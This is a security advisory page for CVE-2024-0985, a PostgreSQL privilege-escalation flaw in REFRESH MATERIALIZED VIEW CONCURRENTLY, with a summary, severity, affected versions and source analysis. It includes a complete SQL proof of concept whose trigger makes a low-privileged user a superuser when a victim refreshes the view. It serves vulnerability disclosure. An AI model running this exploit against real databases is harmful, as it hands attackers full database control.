Skip to content
GoogleGHSA-9984-7hcf-v553

PostgreSQL: Concurrent Refresh Privilege Escalation

MediumCVE-2024-0985 · Published Mar 19, 2024 · updated Apr 29, 2024

### Summary When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation. ### Severity Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION. ### Proof of Concept The commands below should be executed as the user test. ```sql CREATE TABLE public.seen(i int); CREATE OR REPLACE FUNCTION elevate () RETURNS TRIGGER AS $ BEGIN ALTER USER test WITH Superuser; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE TABLE defer(i int); ``` ```sql CREATE CONSTRAINT TRIGGER ai AFTER INSERT ON public.defer INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.elevate(); CREATE OR REPLACE FUNCTION payload() RETURNS int AS $ DEC...

GitHub advisory

Affected versions

PackageAffectedFixed in
PostgreSQL
Product
< 12.1812.18
Details and references

### Summary When executing REFRESH MATERIALIZED VIEW CONCURRENTLY the UserID is set to the relation owner and the flag SECURITY_RESTRICTED_OPERATION is set. During the concurrent path the previous values are restored to their original values to allow for a CREATE TEMP TABLE SQL command to execute. It’s possible to manipulate the tables that are used in the CREATE statement such that user SQL is executed as a user other than the relation owner leading to Privilege Escalation. ### Severity Moderate - A Superuser (or victim user) would need to execute REFRESH MATERIALIZED VIEW CONCURRENTLY on the malicious view. The security context from where the refresh is executed cannot be SECURITY_RESTRICTED_OPERATION. ### Proof of Concept The commands below should be executed as the user test. ```sql CREATE TABLE public.seen(i int); CREATE OR REPLACE FUNCTION elevate () RETURNS TRIGGER AS $ BEGIN ALTER USER test WITH Superuser; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE TABLE defer(i int); ``` ```sql CREATE CONSTRAINT TRIGGER ai AFTER INSERT ON public.defer INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.elevate(); CREATE OR REPLACE FUNCTION payload() RETURNS int AS $ DECLARE tnsp text; tname text; i int; BEGIN SELECT schemaname, replace(tablename, '_2', '') FROM pg_tables WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname; SELECT COUNT(*) from public.seen INTO i; IF i > 1 THEN -- Need to move recreate the table for the DROP TABLE EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME TO aaa', tnsp, tname); EXECUTE FORMAT ('CREATE TABLE %I.%I(i int, j int) ', tnsp, tname); INSERT INTO public.defer VALUES (1); ELSE INSERT INTO public.seen VALUES (1); END IF; RETURN i; END; $ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION ins() RETURNS TABLE ( i int, j int ) AS $ DECLARE tnsp text; tname text; rel oid; ind record; BEGIN SELECT schemaname, tablename FROM pg_tables WHERE schemaname LIKE 'pg_temp_%' INTO tnsp, tname; SELECT oid FROM pg_class where relname = tname into rel; SELECT * FROM pg_index WHERE indrelid = rel into ind; BEGIN EXECUTE FORMAT ('CREATE RULE "_RETURN" AS ON SELECT TO %I.%I DO INSTEAD SELECT payload() as i, 1 as j',tnsp, tname); EXECUTE FORMAT ('ALTER VIEW %I.%I RENAME COLUMN j to ctid', tnsp,tname); EXCEPTION WHEN OTHERS THEN RAISE NOTICE 'ins: %', SQLERRM; END; RETURN QUERY SELECT 1, 2; END; $ language plpgsql; CREATE MATERIALIZED VIEW "matview" AS (SELECT i, j from ins() WHERE i != i); CREATE UNIQUE INDEX mv_i ON matview (i); ``` As a Superuser refresh the view ```sql # REFRESH MATERIALIZED VIEW CONCURRENTLY matview; ``` Observe that the user test is now a Superuser ```sql #d\u test List of roles Role name | Attributes | Member of -----------+----------------------+----------- test | Superuser, Create DB | {} ``` ### Further Analysis When entering [ExecRefreshMatView](https://github.com/postgres/postgres/blob/86648dcdaec67b83cec20a9d25b45ec089a7c624/src/backend/commands/matview.c#L138C1-L138C19) the user and security context are saved and then set to the relowner with SECURITY_RESTRICTED_OPERATION. ```sql /* * Switch to the owner's userid, so that any functions are run as that * user. Also lock down security-restricted operations and arrange to * make GUC variable changes local to this command. */ GetUserIdAndSecContext(&save_userid, &save_sec_context); SetUserIdAndSecContext(relowner,save_sec_context|SECURITY_RESTRICTED_OPERATION); ``` A new table will be created and then populated with data. ```sql OIDNewHeap = make_new_heap(matviewOid, tableSpace, relpersistence,

Severity from
GitHub (reviewed advisory)

More Google advisories

All Google
Advisory
Python: Heap buffer overflow in a Pillow (PIL fork) interface to the littleCMS ICC Color Management System
Medium6.7May 1, 2024
UTM: Remote Code Execution Via Unsafe VM Handling
MediumApr 5, 2024
UTM: Unsafe URL Handling
LowApr 5, 2024
Microsoft Edge: Bypass of fix for CVE-2023-36880
LowApr 4, 2024
Python: Code Execution Vulnerability
LowMar 26, 2024
PostgreSQL: Plv8 Deferred Trigger Privilege Escalation
HighFeb 21, 2024

Critical advisories by email

Wednesdays: the week’s critical and high advisories in the AI and data stack, with the fixed versions. Only in weeks that have some.

Double opt-in. Unsubscribe any time.